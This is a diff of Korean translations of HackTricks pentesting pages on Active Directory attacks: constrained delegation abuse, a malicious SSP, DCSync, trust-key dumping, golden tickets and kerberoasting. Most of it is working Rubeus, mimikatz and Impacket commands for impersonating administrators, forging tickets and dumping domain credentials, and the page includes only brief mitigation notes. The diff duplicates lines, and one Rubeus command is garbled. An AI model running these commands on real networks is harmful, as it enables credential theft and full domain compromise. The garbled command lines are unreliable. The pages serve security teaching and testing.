- **사용자를 위한 서비스(**_**S4U2self**_**):** 만약 **서비스 계정**이 [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D)를 포함하는 _userAccountControl_ 값을 가지고 있다면, 다른 사용자를 대신하여 자신(서비스)에 대한 TGS를 얻을 수 있습니다.
- **프록시를 위한 서비스(**_**S4U2proxy**_**):** **서비스 계정**은 **msDS-AllowedToDelegateTo**에 설정된 서비스에 대해 사용자를 대신하여 TGS를 얻을 수 있습니다. 이를 위해 먼저 그 사용자로부터 자신에 대한 TGS가 필요하지만, S4U2self를 사용하여 그 TGS를 얻은 후 다른 TGS를 요청할 수 있습니다.
- **자기 자신을 위한 서비스 (_S4U2self_):** 만약 **서비스 계정**의 _userAccountControl_ 값이 [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D)를 포함하고 있다면, 그 계정은 다른 사용자를 대신하여 자신(서비스)에 대한 TGS를 얻을 수 있습니다.
- **프록시를 위한 서비스 (_S4U2proxy_):** **서비스 계정**은 **msDS-AllowedToDelegateTo**에 설정된 서비스에 대해 어떤 사용자를 대신하여 TGS를 얻을 수 있습니다. 이를 위해 먼저 그 사용자로부터 자신에 대한 TGS가 필요하지만, S4U2self를 사용하여 그 TGS를 얻은 후 다른 TGS를 요청할 수 있습니다.
**참고**: 사용자가 AD에서 ‘_계정이 민감하며 위임할 수 없음_’으로 표시되면, 그들을 **가장할 수 없습니다**.
**참고**: 사용자가 AD에서 ‘_계정이 민감하며 위임할 수 없습니다_’로 표시된 경우, 그들을 **가장할 수 없습니다**.
이는 **서비스의 해시를 손상시키면** 사용자를 **가장하고** 그들의 **대신 서비스에 대한 접근**을 **얻을 수 있다는** 것을 의미합니다 (가능한 **privesc**).
이는 **서비스의 해시를 손상시키면** 사용자를 **가장하고** 그들의 이름으로 어떤 **서비스**에 대한 **접근**을 얻을 수 있다는 것을 의미합니다(가능한 **privesc**).
게다가, 사용자가 가장할 수 있는 서비스에만 접근할 수 있는 것이 아니라 **모든 서비스에 접근할 수 있습니다**. 왜냐하면 SPN(요청된 서비스 이름)이 확인되지 않고, 오직 권한만 확인되기 때문입니다. 따라서 **CIFS 서비스**에 접근할 수 있다면, Rubeus에서 `/altservice` 플래그를 사용하여 **HOST 서비스**에도 접근할 수 있습니다.
게다가, **사용자가 가장할 수 있는 서비스에만 접근할 수 있는 것이 아니라, 어떤 서비스에도 접근할 수 있습니다**. 왜냐하면 SPN(요청된 서비스 이름)이 확인되지 않기 때문입니다(티켓의 이 부분은 암호화/서명되지 않음). 따라서 **CIFS 서비스**에 접근할 수 있다면, 예를 들어 Rubeus에서 `/altservice` 플래그를 사용하여 **HOST 서비스**에도 접근할 수 있습니다.
또한, **DC에서의 LDAP 서비스 접근**은 **DCSync**를 악용하는 데 필요합니다.
```bash:Enumerate
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
```bash:Quick Way
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
```
- Step 1: **허용된 서비스의 TGT 가져오기**
```bash:Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
> [!WARNING]
> **TGT 티켓** 또는 **RC4** 또는 **AES256**을 얻는 **다른 방법**이 있습니다. 예를 들어 프린터 버그, 비제한 위임, NTLM 릴레이 및 Active Directory 인증서 서비스 남용이 있습니다.
> 다른 방법으로 **TGT 티켓** 또는 **RC4** 또는 **AES256**을 얻을 수 있습니다. SYSTEM이 아니더라도 프린터 버그, 제약 없는 위임, NTLM 릴레이 및 Active Directory 인증서 서비스 남용과 같은 방법이 있습니다.
>
> **그 TGT 티켓(또는 해시)을 가지고 있으면 전체 컴퓨터를 손상시키지 않고도 이 공격을 수행할 수 있습니다.**
- Step2: **사용자를 가장하여 서비스에 대한 TGS 얻기**
```bash:Using Rubeus
#Obtain a TGS of the Administrator user to self
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
#Obtain service TGS impersonating Administrator (CIFS)
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
#Impersonate Administrator on different service (HOST)
@ -74,6 +81,6 @@ tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.mo
#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
```
[**자세한 정보는 ired.team에서 확인하세요.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
[**더 많은 정보는 ired.team에서 확인하세요.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
{{#include ../../banners/hacktricks-training.md}}

8
src/windows-hardening/active-directory-methodology/custom-ssp.md
View File

@ -19,19 +19,19 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
`mimilib.dll`를 보안 지원 공급자 목록(보안 패키지)에 추가합니다:
```powershell
```bash
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
재부팅 후 모든 자격 증명은 `C:\Windows\System32\kiwissp.log`에 평문으로 저장됩니다.
#### 메모리 내
Mimikatz를 사용하여 메모리에 직접 주입할 수도 있습니다(약간 불안정하거나 작동하지 않을 수 있습니다):
```powershell
Mimikatz를 사용하여 메모리에 직접 주입할 수도 있습니다(약간 불안정하거나 작동하지 않을 수 있습니다).
```bash
privilege::debug
misc::memssp
```
이것은 재부팅 후에도 유지되지 않습니다.
이것은 재부팅 시 유지되지 않습니다.
#### 완화

22
src/windows-hardening/active-directory-methodology/dcsync.md
View File

@ -4,26 +4,26 @@
## DCSync
**DCSync** 권한은 도메인 자체에 대해 다음 권한을 갖는 것을 의미합니다: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** 및 **Replicating Directory Changes In Filtered Set**.
**DCSync** 권한은 도메인 자체에 대해 다음 권한을 가지는 것을 의미합니다: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** 및 **Replicating Directory Changes In Filtered Set**.
**DCSync에 대한 중요 사항:**
- **DCSync 공격은 도메인 컨트롤러의 동작을 시뮬레이션하고 다른 도메인 컨트롤러에 정보를 복제하도록 요청합니다**. 이는 디렉터리 복제 서비스 원격 프로토콜(MS-DRSR)을 사용합니다. MS-DRSR은 Active Directory의 유효하고 필요한 기능이므로 끄거나 비활성화할 수 없습니다.
- 기본적으로 **도메인 관리자, 엔터프라이즈 관리자, 관리자 및 도메인 컨트롤러** 그룹만이 필요한 권한을 가지고 있습니다.
- **DCSync 공격은 도메인 컨트롤러의 동작을 시뮬레이션하고 다른 도메인 컨트롤러에 정보를 복제하도록 요청합니다**. 이는 디렉터리 복제 서비스 원격 프로토콜(MS-DRSR)을 사용합니다. MS-DRSR은 Active Directory의 유효하고 필요한 기능이기 때문에 끄거나 비활성화할 수 없습니다.
- 기본적으로 **Domain Admins, Enterprise Admins, Administrators, 및 Domain Controllers** 그룹만이 필요한 권한을 가지고 있습니다.
- reversible encryption으로 저장된 계정 비밀번호가 있는 경우, Mimikatz에서 비밀번호를 평문으로 반환하는 옵션이 제공됩니다.
### Enumeration
`powerview`를 사용하여 이러한 권한을 가진 사람을 확인하십시오:
```powershell
`powerview`를 사용하여 이러한 권한을 가진 사용자를 확인하십시오:
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### 로컬에서 악용하기
```powershell
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### 원격으로 악용하기
```powershell
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
@ -35,25 +35,25 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
- 하나는 **Kerberos 키**
- 하나는 NTDS에서 [**가역 암호화**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption)가 활성화된 모든 계정의 평문 비밀번호입니다. 가역 암호화가 활성화된 사용자를 얻으려면
```powershell
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### 지속성
도메인 관리자라면 `powerview`의 도움으로 이 권한을 모든 사용자에게 부여할 수 있습니다:
```powershell
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
그런 다음, (당신은 "ObjectType" 필드 안에서 권한의 이름을 볼 수 있어야 함) 출력에서 3개의 권한이 **사용자에게 올바르게 할당되었는지 확인**할 수 있습니다:
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### 완화
- 보안 이벤트 ID 4662 (객체에 대한 감사 정책이 활성화되어야 함) – 객체에 대한 작업이 수행되었습니다.
- 보안 이벤트 ID 5136 (객체에 대한 감사 정책이 활성화되어야 함) – 디렉터리 서비스 객체가 수정되었습니다.
- 보안 이벤트 ID 4670 (객체에 대한 감사 정책이 활성화되어야 함) – 객체의 권한이 변경되었습니다.
- 보안 이벤트 ID 4670 (객체에 대한 감사 정책이 활성화되어야 함) – 객체에 대한 권한이 변경되었습니다.
- AD ACL 스캐너 - ACL의 생성 및 비교 보고서를 생성합니다. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## 참조

16
src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
이 시나리오에서 **귀하의 도메인**은 **다른 도메인**의 주체에게 **특권**을 **신뢰**하고 있습니다.
이 시나리오에서 **귀하의 도메인**은 **다른 도메인**의 주체에게 **일부 권한**을 **신뢰**하고 있습니다.
## Enumeration
### Outbound Trust
```powershell
```bash
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
@ -30,10 +30,10 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
```
## Trust Account Attack
신뢰 관계가 두 도메인 간에 설정될 때 보안 취약점이 존재합니다. 여기서 도메인 **A**와 도메인 **B**로 식별되며, 도메인 **B**가 도메인 **A**에 대한 신뢰를 확장합니다. 이 설정에서는 도메인 **B**를 위해 도메인 **A**에 특별한 계정이 생성되며, 이는 두 도메인 간의 인증 프로세스에서 중요한 역할을 합니다. 도메인 **B**와 연결된 이 계정은 도메인 간 서비스에 접근하기 위한 티켓을 암호화하는 데 사용됩니다.
신뢰 관계가 두 도메인 간에 설정될 때 보안 취약점이 존재합니다. 여기서 도메인 **A**와 도메인 **B**로 식별되며, 도메인 **B**가 도메인 **A**에 대한 신뢰를 확장합니다. 이 설정에서 도메인 **B**를 위해 도메인 **A**에 특별한 계정이 생성되며, 이는 두 도메인 간의 인증 프로세스에서 중요한 역할을 합니다. 도메인 **B**와 연결된 이 계정은 도메인 간 서비스에 접근하기 위한 티켓을 암호화하는 데 사용됩니다.
여기서 이해해야 할 중요한 점은 이 특별한 계정의 비밀번호와 해시를 도메인 **A**의 도메인 컨트롤러에서 명령줄 도구를 사용하여 추출할 수 있다는 것입니다. 이 작업을 수행하는 명령은:
```powershell
여기서 이해해야 할 중요한 점은 이 특별한 계정의 비밀번호와 해시가 도메인 **A**의 도메인 컨트롤러에서 명령줄 도구를 사용하여 추출될 수 있다는 것입니다. 이 작업을 수행하는 명령은:
```bash
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
이 추출은 이름 뒤에 **$**가 붙은 계정이 활성화되어 있고 도메인 **A**의 "Domain Users" 그룹에 속해 있어 이 그룹과 관련된 권한을 상속받기 때문에 가능합니다. 이를 통해 개인은 이 계정의 자격 증명을 사용하여 도메인 **A**에 인증할 수 있습니다.
@ -54,15 +54,15 @@ lsadump::trust /patch
```
### 명확한 신뢰 비밀번호 수집
이전 흐름에서는 **명확한 텍스트 비밀번호** 대신 신뢰 해시가 사용되었습니다 (이것은 또한 **mimikatz에 의해 덤프됨**).
이전 흐름에서는 **명확한 텍스트 비밀번호** 대신 신뢰 해시가 사용되었습니다 (이는 **mimikatz에 의해 덤프됨**).
명확한 비밀번호는 mimikatz의 \[ CLEAR ] 출력을 16진수로 변환하고 널 바이트 ‘\x00’을 제거하여 얻을 수 있습니다:
명확한 텍스트 비밀번호는 mimikatz의 \[ CLEAR ] 출력을 16진수로 변환하고 널 바이트 ‘\x00’을 제거하여 얻을 수 있습니다:
![](<../../images/image (938).png>)
신뢰 관계를 생성할 때 사용자가 신뢰를 위해 비밀번호를 입력해야 하는 경우가 있습니다. 이 시연에서 키는 원래의 신뢰 비밀번호이며 따라서 사람이 읽을 수 있습니다. 키가 주기적으로 변경되면 (30일), 명확한 텍스트는 사람이 읽을 수 없지만 기술적으로 여전히 사용 가능합니다.
명확한 비밀번호는 신뢰 계정으로 정기적인 인증을 수행하는 데 사용될 수 있으며, 신뢰 계정의 Kerberos 비밀 키를 사용하여 TGT를 요청하는 대안입니다. 여기서 ext.local에서 Domain Admins의 구성원을 쿼리합니다:
명확한 텍스트 비밀번호는 신뢰 계정으로 정기적인 인증을 수행하는 데 사용될 수 있으며, 이는 신뢰 계정의 Kerberos 비밀 키를 사용하여 TGT를 요청하는 대안입니다. 여기서 ext.local에서 Domain Admins의 구성원을 위해 root.local을 쿼리합니다:
![](<../../images/image (792).png>)

28
src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
이 시나리오에서 외부 도메인이 당신을 신뢰하고 있거나 (또는 서로 신뢰하고 있는 경우) 당신은 그에 대한 어떤 종류의 접근 권한을 얻을 수 있습니다.
이 시나리오에서 외부 도메인은 당신을 신뢰하고 있습니다 (또는 두 도메인이 서로를 신뢰하고 있습니다), 따라서 당신은 그에 대한 어떤 형태의 접근 권한을 얻을 수 있습니다.
## 열거
우선, **신뢰**를 **열거**해야 합니다:
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -56,14 +56,14 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
이전 열거에서 사용자 **`crossuser`**가 **외부 도메인**의 **DC** 내에서 **관리자 액세스**를 가진 **`External Admins`** 그룹에 속해 있는 것으로 확인되었습니다.
이전 열거에서 **`crossuser`** 사용자가 **외부 도메인**의 **DC** 내에서 **Admin access**를 가진 **`External Admins`** 그룹에 속해 있는 것으로 확인되었습니다.
## 초기 액세스
## 초기 접근
다른 도메인에서 사용자에 대한 **특별한** 액세스를 **찾지 못한 경우**, AD 방법론으로 돌아가서 **비특권 사용자에서 권한 상승**을 시도할 수 있습니다(예: kerberoasting과 같은):
다른 도메인에서 사용자의 **특별한** 접근 권한을 **찾지 못한 경우**, AD 방법론으로 돌아가서 **비특권 사용자에서 권한 상승**을 시도할 수 있습니다 (예: kerberoasting과 같은):
`-Domain` 매개변수를 사용하여 **Powerview 함수**를 사용하여 **다른 도메인**을 **열거**할 수 있습니다:
```powershell
`-Domain` 매개변수를 사용하여 **Powerview functions**를 사용하여 **다른 도메인**을 **열거**할 수 있습니다:
```bash
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
{{#ref}}
@ -75,23 +75,23 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
### 로그인
외부 도메인에 접근할 수 있는 사용자의 자격 증명을 사용하여 일반적인 방법으로 로그인하면 다음에 접근할 수 있어야 합니다:
```powershell
```bash
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID History 남용
당신은 또한 숲 신뢰를 통해 [**SID History**](sid-history-injection.md)를 남용할 수 있습니다.
당신은 또한 숲 신뢰를 가로질러 [**SID History**](sid-history-injection.md)를 남용할 수 있습니다.
사용자가 **한 숲에서 다른 숲으로** 마이그레이션되고 **SID 필터링이 활성화되지 않은 경우**, **다른 숲의 SID를 추가하는 것이 가능**해지며, 이 **SID**는 **신뢰를 통해 인증할 때** **사용자의 토큰에 추가**됩니다.
사용자가 **한 숲에서 다른 숲으로** 마이그레이션되고 **SID 필터링이 활성화되지 않은 경우**, **다른 숲의 SID를 추가하는** 것이 가능해지며, 이 **SID**는 **신뢰를 가로질러 인증할 때** **사용자의 토큰**에 **추가**됩니다.
> [!WARNING]
> 상기 사항으로, 서명 키를 얻을 수 있습니다.
> 참고로, 서명 키를 얻으려면
>
> ```powershell
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
> ```
당신은 **신뢰된** 키로 현재 도메인의 사용자를 **가장하는** **TGT에 서명할 수 있습니다**.
당신은 **신뢰된** 키로 현재 도메인의 사용자를 **가장하는** **TGT**에 **서명할 수** 있습니다.
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@ -102,7 +102,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
### 사용자 완전 임포스네이팅 방법
### 사용자 완전 위장 방법
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

20
src/windows-hardening/active-directory-methodology/golden-ticket.md
View File

@ -4,11 +4,11 @@
## Golden ticket
**Golden Ticket** 공격은 **Active Directory (AD) krbtgt 계정의 NTLM 해시를 사용하여 임의의 사용자를 가장한 합법적인 Ticket Granting Ticket (TGT)를 생성하는 것**으로 구성됩니다. 이 기술은 **가장한 사용자로서 도메인 내의 모든 서비스나 머신에 접근할 수 있게 해주기 때문에** 특히 유리합니다. **krbtgt 계정의 자격 증명은 자동으로 업데이트되지 않는다는 점을 기억하는 것이 중요합니다.**
**Golden Ticket** 공격은 **NTLM 해시를 사용하여 사용자를 가장한 합법적인 티켓 부여 티켓(TGT)을 생성하는 것**으로 구성됩니다. 이 기술은 **도메인 내의 모든 서비스나 머신에 접근할 수 있게 해주기 때문에** 특히 유리합니다. **krbtgt 계정의 자격 증명은 자동으로 업데이트되지 않는다는 점을 기억하는 것이 중요합니다.**
krbtgt 계정의 **NTLM 해시를 획득하기 위해** 다양한 방법을 사용할 수 있습니다. 이는 도메인 내의 모든 도메인 컨트롤러(DC)에 위치한 **Local Security Authority Subsystem Service (LSASS) 프로세스** 또는 **NT Directory Services (NTDS.dit) 파일**에서 추출할 수 있습니다. 또한, **DCsync 공격을 실행하는 것**도 이 NTLM 해시를 얻기 위한 또 다른 전략으로, Mimikatz의 **lsadump::dcsync 모듈**이나 Impacket의 **secretsdump.py 스크립트**와 같은 도구를 사용하여 수행할 수 있습니다. 이러한 작업을 수행하기 위해서는 **도메인 관리자 권한 또는 유사한 수준의 접근 권한이 일반적으로 필요하다는 점을 강조하는 것이 중요합니다.**
krbtgt 계정의 **NTLM 해시를 획득하기 위해** 다양한 방법을 사용할 수 있습니다. 이는 **로컬 보안 권한 하위 시스템 서비스(LSASS) 프로세스** 또는 도메인 내의 모든 도메인 컨트롤러(DC)에 위치한 **NT 디렉터리 서비스(NTDS.dit) 파일**에서 추출할 수 있습니다. 또한, **DCsync 공격을 실행하는 것**도 이 NTLM 해시를 얻기 위한 또 다른 전략으로, Mimikatz의 **lsadump::dcsync 모듈**이나 Impacket의 **secretsdump.py 스크립트**와 같은 도구를 사용하여 수행할 수 있습니다. 이러한 작업을 수행하기 위해서는 **도메인 관리자 권한 또는 유사한 수준의 접근 권한이 일반적으로 필요하다는 점을 강조하는 것이 중요합니다.**
NTLM 해시는 이 목적을 위한 유효한 방법으로 사용될 수 있지만, 운영 보안상의 이유로 **Advanced Encryption Standard (AES) Kerberos 키(AES128 및 AES256)를 사용하여 티켓을 위조하는 것이 강력히 권장됩니다.**
NTLM 해시는 이 목적을 위한 유효한 방법으로 사용될 수 있지만, **운영 보안상의 이유로 AES(고급 암호화 표준) Kerberos 키(AES128 및 AES256)를 사용하여 티켓을 위조하는 것이 강력히 권장됩니다.**
```bash:From Linux
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
```
```bash:From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
@ -24,19 +30,19 @@ klist #List tickets in memory
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
```
**한 번** **golden Ticket**이 주입되면, 공유 파일 **(C$)**에 접근할 수 있고, 서비스와 WMI를 실행할 수 있으므로 **psexec** 또는 **wmiexec**를 사용하여 셸을 얻을 수 있습니다 (winrm을 통해 셸을 얻을 수 없는 것 같습니다).
**한 번** **golden Ticket**이 주입되면, 공유 파일 **(C$)**에 접근할 수 있으며, 서비스를 실행하고 WMI를 사용할 수 있으므로 **psexec** 또는 **wmiexec**를 사용하여 셸을 얻을 수 있습니다 (winrm을 통해 셸을 얻을 수 없는 것 같습니다).
### 일반적인 탐지 우회
**golden ticket**을 탐지하는 가장 일반적인 방법은 **케르베로스 트래픽**을 검사하는 것입니다. 기본적으로 Mimikatz는 TGT를 **10년 동안 서명**하므로, 이후 TGS 요청에서 비정상적으로 보일 것입니다.
**golden ticket**을 탐지하는 가장 빈번한 방법은 **케르베로스 트래픽**을 검사하는 것입니다. 기본적으로 Mimikatz는 TGT를 **10년 동안 서명**하므로, 이후 TGS 요청에서 비정상적으로 보일 것입니다.
`Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM`
`/startoffset`, `/endin` 및 `/renewmax` 매개변수를 사용하여 시작 오프셋, 지속 시간 및 최대 갱신(모두 분 단위)을 제어합니다.
`/startoffset`, `/endin` 및 `/renewmax` 매개변수를 사용하여 시작 오프셋, 기간 및 최대 갱신(모두 분 단위)을 제어합니다.
```
Get-DomainPolicy | select -expand KerberosPolicy
```
안타깝게도 TGT의 수명은 4769에 기록되지 않으므로 Windows 이벤트 로그에서 이 정보를 찾을 수 없습니다. 그러나 **이전 4768 없이 4769를 보는 것**은 상관관계가 있습니다. **TGT 없이 TGS를 요청하는 것은 불가능**하며, TGT가 발급된 기록이 없다면 오프라인에서 위조되었음을 추론할 수 있습니다.
불행히도, TGT의 수명은 4769에 기록되지 않으므로 Windows 이벤트 로그에서 이 정보를 찾을 수 없습니다. 그러나 **이전 4768 없이 4769를 보는 것**은 상관관계가 있습니다. **TGT 없이 TGS를 요청하는 것은 불가능**하며, TGT가 발급된 기록이 없다면 오프라인에서 위조되었음을 추론할 수 있습니다.
이 탐지를 **우회하기 위해** 다이아몬드 티켓을 확인하세요:

122
src/windows-hardening/active-directory-methodology/kerberoast.md
View File

@ -4,7 +4,7 @@
## Kerberoast
Kerberoasting은 **Active Directory (AD)**에서 **사용자 계정**에 따라 운영되는 서비스와 관련된 **TGS 티켓**의 획득에 중점을 둡니다. 이 티켓의 암호화는 **사용자 비밀번호**에서 유래한 키를 사용하므로 **오프라인 자격 증명 크래킹**이 가능합니다. 서비스로서 사용자 계정의 사용은 비어 있지 않은 **"ServicePrincipalName"** 속성으로 표시됩니다.
Kerberoasting은 **Active Directory (AD)**에서 **사용자 계정**으로 운영되는 서비스와 관련된 **TGS 티켓**의 획득에 중점을 둡니다. **컴퓨터 계정**은 제외됩니다. 이러한 티켓의 암호화는 **사용자 비밀번호**에서 유래한 키를 사용하므로 **오프라인 자격 증명 크래킹**이 가능합니다. 서비스로서 사용자 계정을 사용하는 것은 비어 있지 않은 **"ServicePrincipalName"** 속성으로 표시됩니다.
**Kerberoasting**을 실행하기 위해서는 **TGS 티켓**을 요청할 수 있는 도메인 계정이 필수적이지만, 이 과정은 **특별한 권한**을 요구하지 않으므로 **유효한 도메인 자격 증명**을 가진 누구나 접근할 수 있습니다.
@ -19,132 +19,154 @@ Kerberoasting은 **Active Directory (AD)**에서 **사용자 계정**에 따라
> [!WARNING]
> **Kerberoasting 도구**는 공격을 수행하고 TGS-REQ 요청을 시작할 때 일반적으로 **`RC4 암호화`**를 요청합니다. 이는 **RC4가** [**더 약하고**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) Hashcat과 같은 도구를 사용하여 오프라인에서 크랙하기 더 쉽기 때문입니다.\
> RC4 (유형 23) 해시는 **`$krb5tgs$23$*`**로 시작하고, AES-256(유형 18)은 **`$krb5tgs$18$*`**로 시작합니다.`
> RC4 (유형 23) 해시는 **`$krb5tgs$23$*`**로 시작하고, AES-256(유형 18)은 **`$krb5tgs$18$*`**로 시작합니다.\
> 또한, `Rubeus.exe kerberoast`는 모든 취약한 계정에 대해 자동으로 티켓을 요청하므로 주의해야 합니다. 먼저 흥미로운 권한을 가진 kerberoastable 사용자를 찾고, 그들에 대해서만 실행하세요.
```bash
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # 비밀번호가 요청됩니다
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
